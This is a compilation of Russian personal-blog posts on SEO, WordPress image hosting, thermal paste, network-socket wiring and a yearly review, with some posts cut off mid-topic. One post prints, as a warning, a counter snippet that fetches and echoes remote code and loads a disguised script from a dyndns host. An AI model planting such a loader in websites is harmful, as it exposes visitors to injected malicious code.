Вариант №2. Слишком высокая тошнота текста. Если ключевых слов в тексте слишком много, это тоже не так хорошо, как может показаться. В прошлом, многие оптимизаторы старались до предела насытить свои статьи ключевиками для того, чтобы оказаться на первых строчках в выдаче. Это делало тексты трудными для восприятия, практически не читаемыми. Для того, чтобы избавится от некачественных страниц в выдаче поисковые системы ввели специальные алгоритмы, которые пессимизируют сайт, т.е понижают в выдаче или исключают из индекса те его страницы, которые имеют слишком большую частоту употребления ключевиков. Кстати, подробнее о пессимизации читай тут.

Как правило, для того, чтобы убедиться, что тошнота текста находится в норме, достаточно прочитать текст. Если он нормально воспринимается, и, как говориться, не «режет слух», то, скорее всего, все в порядке. Кроме того, есть большое количество ресурсов, которые позволяют получить полную статистику употребления всех слов в тексте.

1. Они размывают ссылочный вес страницы, то есть могло бы быть 10 ссылок на одну страницу, а получается 5 на одну, 3 на один дубль и 2 на другой дубль. Итого, всего 5.
2. Уникальность контента снижается. Так как страниц несколько, и все они с одинаковым контентом, то о какой уникальности может идти речь?
3. После апдейта выдачи, входной страницей может оказаться не та, которую продвигал оптимизатор и на которую стояли ссылки. Следствие из этого — потеря позиций.
4. Нужная страница вообще может вылететь из индекса.

Для тех, кто не понимает о чем речь, дубли — это частично или полностью идентичный друг другу страницы.

Как найти дубли страниц на сайте?

На данный момент существует замечательный сервис по анализу сайта. Называется он сайтрепорт.рф. Не знаю, долго ли он останется бесплатным, но пока есть возможность проанализировать сайт и мы ею воспользуемся!

Заходим на него, регистрируемся. После регистрации вбиваем в поле адрес своего сайта:

Разумеется, выбираем просто Диагностику сайта и нажимаем кнопку Анализировать.

Выскочит табличка:

Теперь нужно немного подождать. Время ожидания зависит от количества страниц вашего сайта. На момент написания статьи ограничение по страницам стоит 500. Буквально позавчера никакого ограничения не было…

В Моих проектах ваш сайт должен иметь статус Завершен!

Кликаем на Автоматический отчет.

Так как на atamovich.ru дублей нет, дальше я буду рассматривать другой сайт. Он работает на CMS Joomla.

Для того, чтобы узнать, есть ли дубли на сайте, необходимо прокрутить вниз встроеное окошко.

Нажимаем на последнюю ссылку «На сайте больше ** похожих или дублирующихся между собой страниц.«

Откроется новое окно. Слева, около нижней таблички, нажмите на «→ Полные дубликаты» . Откроется новое окно:

Не трудно понять, ЧТО именно является причиной дубликатов страниц.

Как удалить дубли страниц с сайта?

В первую очередь, нужно проанализировать все эти страницы и выявить общий элемент, который и дублирует страницы.

На скриншоте выше, можете увидеть повторяющийся кусок ссылки ?tmpl=component

Проанализировав дальше, я выявил несколько таких «кусков»:

/mailto
?fontstyle=
?tmpl=component

Теперь у нас есть информация, знаем проблему. Как будем решать?

Открываем robots.txt и дописываем туда несколько строк:

Disallow: /*mailto
Disallow: /*?fontstyle=
Disallow: /*?tmpl=component

В моем случае получились эти строки, в вашем, возможно, другие.

Символ * указывает на то, что до этого куска может быть все, что угодно.
Правильность написания robots.txt можно проверить в Яндекс.Вебмастере на специальной странице.
Там же можно проверить нужные страницы на открытость роботу. А то вдруг закроем слишком много 😉

Проверили в Яндексе, загрузили на сервер, теперь надо заново прогнать по системе сайтрепорт.рф для проверки правильности выполнения работы! Если все дубли исчезли, то работы выполнена на 5+!

Рекомендую!

Ваш Atamovich

Немного теории

Браузер загружает картинки по мере прочтения кода (если не прав, поправьте).  Каждый файл берет на себя одно соединение, будь то картинки, скрипты или стили. Количество соединений с одного домена ограничено, возьмем абстрактную цифру 10. Субдомен воспринимается браузером как отдельный домен, следовательно, с него можно получить еще 10 соединений. То есть, теперь у нас стили и скрипты грузятся с основного домена, а картинки с другого, итого 20 соединений. Если вынести еще и скрипты на отдельный домен, то получим 30 и так далее.

Плюсы: при высокой нагрузке на хостинг, субдомен можно перенести вообще на другой сервер (Например, Хабрахабр так и работает, на нескольких серверах).

Минусы: относительная сложность в установке.

Практика

Если у вас сайт на WordPress, то минус, описанный выше, не считается. Вордпресс поддерживает размещение изображений на другом домене или  субдомене.

План действий для нового сайта, на который еще не загружали медиа-контент:

Создаете субдомен через свою панель управления. В Cpanel это Домены —> Субдомены —> Создать. В Plesk фактически так же.

Затем нужно зайти в Консоль WordPress—> Параметры —> Медиафайлы

Здесь нужно действовать в зависимости от того, какая у вас панель управления. Если вы создали субдомен img.domen.ru, то в Cpanel папка img автоматически создастся в корне сайта и будет доступна как domen.ru/img/. Тогда прописываем так:

Сохранять файлы в этой папке *пусто*

Полный URL-путь к файлам http://img.domen.ru

В Plesk нужно сделать немного по другому:

Сохранять файлы в этой папке /home/vhosts/domen.ru/subdomains/img/httpdocs

Полный URL-путь к файлам http://img.domen.ru

Следим, чтобы стояла галочка «Помещать загруженные мной файлы в папки по месяцу и году».

Теперь нужно выставить права на папку. В Cpanel ничего делать не надо, все нормально, а вот в Plesk на каталоги, где размещена картинка, были неверно указаны права:

было — 754
нужно — 755

Выставляем 755 и радуемся, теперь всё работает!

А теперь рассмотрим, если сайт старый и уже очень много картинок загружено.

Через панель заходим в phpMyAdmin, там выбираем нашу базу и нажимаем вкладку SQL. Прописываем следующий код:

UPDATE wp_posts
SET post_content = REPLACE(post_content,
'http://domen.ru/wp-content/uploads/','http://img.domen.ru/')

Этой командой мы обновим в базе данных старые значения на новые.

Нажимаем GO (или ОК, если версия русская).

Теперь нужно ввести следующий код:

UPDATE wp_posts
SET guid = REPLACE(guid,
'http://domen.ru/wp-content/uploads/','http://img.domen.ru/')

Готово! Теперь все изображения перенесены и база данных обновлена.
Но, остается одно НО. Поисковики будут помнить старые ссылки на изображения. Для предотвращения этого настроим 301 редирект. В корне сайта открываем файл .htaccess и добавляем туда строчку кода:

RedirectMatch 301 ^/wp-content/uploads/(.*)$ http://img.domen.ru/$1

Разумеется во всех продемонстрированных кодах нужно заменить domen.ru и img.domen.ru на свои.

Ваш Atamovich

Немного теории

Зачем вообще менять термопасту? Термопаста — связующий элемент между «нагревателем» и «холодильником», а если простыми словами, то между горячим процессором и холодным радиатором. Подробнее можете прочитать про нее статью в Вики — Термоинтерфейс.
Ее необходимо периодически менять, так как она имеет свойство со временем высыхать и плохо выполнять свои функции. Отсюда получаем проблемы: ноутбук греется и шумит!

Это, в первую очередь, раздражает. Во вторую, негативно влияет на срок службы.

Практика

Для начала, нужно купить эту самую термопасту. Я купил модель Zalman zm-stg1 за 299 рублей (в Петербурге). Флакончик не большой, всего 4 грамма. Есть варианты лучше и дороже, а есть сильно дешевле и хуже (например, отечественная стоит около 25 рублей). Обычно термопасты можно встретить в специальных шприцах для удобного использования.

Затем разбираем ноутбук (ссылку на статью можно найти под видео), откручиваем радиатор и чистим его, желательно до зеркальной поверхности (не весь 😉 только ту часть, которая будет прикасаться к процессору).

Чистим от старой термопасты (скорее всего она у вас будет очень сухая и придется повозиться, как мне на видео).

Наносим новую, производитель любезно предоставляет нам инструкцию на русском языке:

Устанавливаем все на место и собираем ноутбук 😉

Для статистики я запустил тест стабильности в программе AIDA64 До смены пасты и После. Вот результаты:

До: Без нагрузки

ДО: После пятиминутного теста

ПОСЛЕ: Без нагрузки

ПОСЛЕ: После пятиминутного теста

Самое забавное, что температура упала совсем чуть чуть, около 2 градусов. Но я заметил очень хорошее изменение после смены пасты: процессор стал очень быстро остывать после нагрузки.
То есть, если раньше ему требовалось около 1 минуты, чтобы остыть после нагрузки, то теперь достаточно десятка секунд!

График температуры ДО я, к сожалению, не сделал. Зато сделал график температуры После:

ПОСЛЕ: График температуры

 Выводы

Думаю, такая температура обусловлена системой охлаждения. На большее она просто не способна. Процессор AMD — горячая штучка! 🙂 Хотя я прекрасно знаю, что моделей dv6 очень много, и они также греются и на процессорах Intel. Так что вывод таков: инженеры HP не до конца продумали систему охлаждения, не сделали ее достаточно эффективной.

Конечно сравнивать нельзя, но очень хочется, вот мой график температуры процессора на стационарном компьютере:

Без нагрузки

После пятиминутного теста системы

Снижение температуры за 20 секунд

Как только нагрузка на процессор упала, за 10 секунд температура опустилась до 36 градусов, а за 20 до 30 градусов 🙂

Вот это — грамотный инженерский подход! Хочу заметить, что процессор еще и разогнан до 4,3 ГГц

Помог, чем смог! Оставайтесь на связи, подписывайтесь, оставляйте комментарии, заходите в гости!

Ваш Atamovich

Этот «злой» код я установил не только на atamovich.ru, но и на другой свой старый сайт — bada.net.ru. Когда сайт находится в вирусном списке, выводится вот такое сообщение:

Как правило, люди стараются не заходить на такие сайты, но стараются использовать видеонаблюдение через интернет. А вот небольшой опрос:

Вот и поглядим, как вы поступите 😉
Достаточно посмотреть на график ниже, чтобы понять, как реагировали посетители с Яндекса на это предупреждение:

Как можете видеть, трафик с Яндекса в эти два дня упал почти до нуля. Оранжевая линия и есть Яндекс. Напоминаю, 18 и 19 числа Яндекс считал этот сайт «вирусным».

Так вот, теперь можно порассуждать и сделать определенные выводы:

Вывод номер раз.
Следите за тем, чтобы трафик всегда шел с нескольких источников.

Вывод номер два.
Нужно менять ситуацию, почти нет трафика с социальных сетей, твиттера и т.д.

Вывод номер три.
Если Яндекс умрет, то многие лешатся доброй половины посетителей (хотя не факт, люди станут пользоваться гуглом, майлом или нигмой)

Четвертый, вытекающий из первого.
Когда у вас будет много источников, то сайт будет по настоящему стабилен. Никакой бан не обрушит его (но, возможно, содрагнет)…

Напоследок, вместо видео, предлагаю фотку веселой собаки:

Ваш Atamovich

Зайдя на блог Михаила Шакина, наткнулся на интересный баннер системы traffbiz.ru. Подумал, мол, Михайл человек проверенный и авторитетный в многих кругах, не стану тратить время на проверку системы, зарегистрируюсь ка сразу и установлю все, что надо к себе на сайт.

Зарегистрировался, изучил систему, установил счетчик. Все вроде бы просто, да не все 😉

Схема такая: устанавливаешь счетчик — получаешь деньги за RU уникальных посетителей. Заманчиво, не правда ли?

На первый взгляд неопытного пользователя код системы выглядит довольно безобидно, всего каких то пару строчек обрамленные php. Разве смогут что-то плохое сделать пару строчек кода? Вирусы же большие и длинные!

Код выглядил вот так:

Вот нельзя доверять людям, нельзя. При установке я даже не посмотрел, что значит этот код.
Давайте разберем.
$urlp = «http://all-x.ru/?i=30459&c=5»;
Создаем переменную и присваиваем ей адрес
$code = @file_get_contents($urlp);
Создаем вторую переменную, в которую загружаем все то, что нашли по тому адресу
echo $code;
Выводим вторую переменную с загруженным кодом.

А теперь давайте подумаем. Получается с помощью этого коротенького кода злоумышленник может выводить на сайте все что угодно, собирать информацию о посетителях, собирать пароли, заражать и так далее… Тут только фантазией ограничивается 😉

Смотрим, как этот код отображается на самом деле в исходном коде сайта:

Как можете видеть, код «немножко» другой, нежели который мы видели. Оно и понятно, первый же был php-код, а второй уже JS.

Давайте теперь разберем его.

<!—Money counter—>
<script type=»text/javascript»> — тут понятно, обозначаем, что дальше будет идти JavaScript
<!— document.write(‘<sc’ + ‘ript language=»JavaScript» rel=»nofollow» ‘ + ‘src=»http://112zcfhqlb.dyndns.org/30940/counter5.jpg» title=»Money counter» border=»0″ width=»15″ height=»15″></sc’ + ‘ript>’); //—> — выводим текст посредством склеивания отрывков.
</script><!—/Money counter—> — закрывающие теги

document.write() выведет вам все, что вы укажите в скобках. Если текст заключен вот в такие кавычки ‘text’, то выводится строка. + означает склеивание строк.

Итак, что же делает этот скрипт? Он выводит такую строчку: <script language=»JavaScript» rel=»nofollow» src=»http://112zcfhqlb.dyndns.org/30940/counter5.jpg» title=»Money counter» border=»0″ width=»15″ height=»15″></script>

Думаете выводит картинку? А нет! Точнее, да! Но, видимо, не только ее…

Параметр scr в теге <script> указывает, из какого файла загружать программу.

В любом случае, Яндекс считает данный скрипт опасным и «закрывает» сайты, найдя его у вас на странице.

Вам может придти вот такое сообщение:

При дальнейшем общении с Тех.Поддержкой можно узнать, как выглядит вредоносный код.

После устранения, можно наблюдать вот такую картинку в панели Я.Вебмастера:

Я не имею ничего против Михаила или ТраффБиз.ру, со всеми бывает)))

Надеюсь, вы хоть что-то поняли из этого полуночного бреда. Всем спокойной ночи!

Кстати, в скором времени напишу интересный аналитический отчет, так что советую подписаться на RSS 😉

UPD: у Яндекса есть интересная статья по этому поводу, в которой как раз все объясняется!

Ваш Atamovich

Кстати, вы ходите в обычные парикмахерские или в салоны красоты? Если вам нужны салоны красоты в Москве, то прошу последовать по ссылке! Там отличный каталог салонов, с описанием и рейтингом. Не поленитесь, полистайте каталог! Можно ещё и записаться в режиме онлайн!

На самом деле, даже если вы в магазине попросите вилку RJ-45, то вам без вопросов дадут 8P8C 😉 Так уж вышло, что настоящий RJ-45 почти не распространен и его трудно найти в магазинах, а название прижилось.

Итак, чтобы подключить и смонтировать розетку для витой пары нам необходимо:

• Место, куда будем вставлять розетку;
• Витая пара;
• Розетка;
• Лезвие или канцелярский нож;
• Тонкая плоская отвертка (если есть отвертка от очков, то отлично подойдет);
• Шуруповерт с крестообразной и плоской насадками (или две отвертки);

Вот так вот выглядит блок розеток, в котором помимо обычных сетевых есть еще и розетка под интернет:

Мне попалась розетка вот такого типа:

Она имеет 8 болтиков и 16 отверстий:

Для начала необходимо удалить основную изоляцию примерно на 4 см, как показано на фотографии ниже:

Затем нужно зачистить 8 проводков от их собственной изоляции примерно на 0,5-1см, как показано на фотографии выше.

После этого надо понять, в какой последовательности мы будем подключать проводки к розетке. Это зависит от того, по какому стандарту вы обжали другой конец провода.
Рассмотрим два стандарта, это EIA/TIA-568A и EIA/TIA-568B:

Как видно из схемы выше, разница заключается только в зеленой и оранжевой парах, они поменяны местами.

На схеме выше проводки пронумерованы от 1 до 8. Чтобы понять, как именно они должны располагаться, посмотрите на изображение ниже:

Итак, мы знаем, по какому стандарту обжат или будет обжат другой конец провода. Теперь нам надо понять, как вставляется вилка в эту интернет – розетку. В моем случае она вставлялась так, что нумерация идет справа налево:

Вставляем подготовленный кабель с зачищенными проводками и закрепляем путем закручивания маленьких болтиков (как раз для этого и понадобится маленькая отвертка от очков). Так как я следовал стандарту EIA/TIA-568A, то получилось вот так:

Теперь надо проверить, правильно ли мы все сделали и насколько качественно. Вставляем кабель, который будет в будущем обитать постоянно в этой розетке, и смотрим на цвета проводков. В любом случае коричневый проводок должен быть по одну сторону с другим коричневым проводком. В моем случае кабель, встроенный в стену я обжал по стандарту EIA/TIA-568A, а патч-корд соединяющий розетку с компьютером был обжат по стандарту EIA/TIA-568B. Смотрим:

Если у вас есть тестер, то вы знаете, что с ним делать, а если нет, то надо же как-то проверить, правильно ли все работает? Вставляем оставшийся конец патч-корда в компьютер и проверяем сигнал. Так как мы задействовали все 4 пары проводков, то скорость должна быть 1Гб/сек (разумеется, если ваш роутер и сетевая карта поддерживает такую скорость):

Внимание! Если вы уверены в том, что у вас гигабитная сетевая карта и роутер с гигабитными портами, а в подключениях пишется 100 Мбит/сек, то значит какой-то из цветных проводков подсоединен не правильно или обломлен. У меня была такая ситуация, оказался синий.

Если соединение есть, значит все работает!

Прикручиваем розетку на ее место:

Вставляем остальные розетки и проверяем, встанет ли рамка нормально:

Закручиваем, протираем пол, подключаем кабель:

Вот так вот можно самим подключить розетку для витой пары! 😉

Ваш Atamovich

По традиции, подведу итоги ушедшего 2011 года:

• Было написано 107 статей;
• Посещаемость выросла с 70 уникальных посетителей в сутки до 500-550;
• Сайт успел получить, потерять и вновь получить 10 ТИЦ, а затем и 20;
• Получил PR 2;
• За все время жизни сайта оставлено более 800 комментариев;
• Сайт приняли в GoGetLinks и Рекламную Сеть Яндекса;
• Был изменен дизайн с кастомизированного стандартного на уникальный;
• Сайту исполнился 1 год в честь чего я организовал раздачу семизнаков ICQ;
• С сегодняшнего дня я отправляю полный текст статьи в фид, читайте на здоровье!
• И многое многое другое 😉

Среди самых удачный материалов хочу отметить видео-статью о разборке и сборке ноутбука HP Pavilion dv6 и статью о том, как узнать статистику личных сообщений «Вконтакте».

В 2011 году попробовал заказать написание статей на copylancer.ru и contentmonster.ru, результат можете увидеть тут и тут. Интересный опыт.

Летом заказывал прогон по каталогам, результаты ниже:

До прогона
На 27.06.2011 Ссылающихся сайтов: 86, внешних ссылок (приблизительно): 857
После прогона
На 03.07.2011 Ссылающихся сайтов: 86, внешних ссылок (приблизительно): 765
На 18.07.2011 Ссылающихся сайтов: 127, внешних ссылок (приблизительно): 924
На 01.08.2011 Ссылающихся сайтов: 260, внешних ссылок (приблизительно): 1813
На 03.08.2011 Ссылающихся сайтов: 132, внешних ссылок (приблизительно): 922
На 15.08.2011 Ссылающихся сайтов: 111, внешних ссылок (приблизительно): 915
На 21.08.2011 Ссылающихся сайтов: 96, внешних ссылок (приблизительно): 688
На 24.08.2011 Ссылающихся сайтов: 112, внешних ссылок (приблизительно): 930

Участвовал в акции Юрия по набору RSS подписчиков и в акции по взаимному переtwitt-у, после чего внешних ссылок стало 1400! (Кстати, кол-во подписчиков не выросло вообще.)

К сожалению, в декабре совсем не было времени на интернет, поэтому позволил себе публиковать статьи с Миралинкса. Это легко вычислить – я не приветствую вас в начале статьи. Так что простите меня! 😉

А вот и выводы, которые я сделал за ушедший год:

• Прогон по каталогам не дает ничего, больше заказывать не буду;
• SEO постоянно меняется, нужно всегда быть в курсе всех новостей;
• Социальные сигналы все больше и больше оказывают влияние на продвижение;
• К каждому материалу для сайта нужно подходить с должным вниманием и  ответственностью;
• Очень важен фидбэк (обратная связь) от посетителей и специалистов;
• Для сайтов время и история играет большую роль.

А вот и немножко планов на год будущий:

1. Разумеется, преодолеть планку в 1000 посетителей в сутки;
2. Писать чаще и лучше;
3. Нарисовать и сверстать дизайн в html5 для этого блога;
4. Из второй цели вытекает, но все же: Повысить количество страниц в индексе (для заработка);
5. Добавить в статьи больше медиа-контента (видео, фото, возможно подкасты).

А вот вам умилительное видео про котов:

[yframe url=’http://www.youtube.com/watch?v=ukHoyENHksI’]

Очень похожи на нашего котенка, он тоже с нами болтает, а иногда и ругается 😉

Ваш Atamovich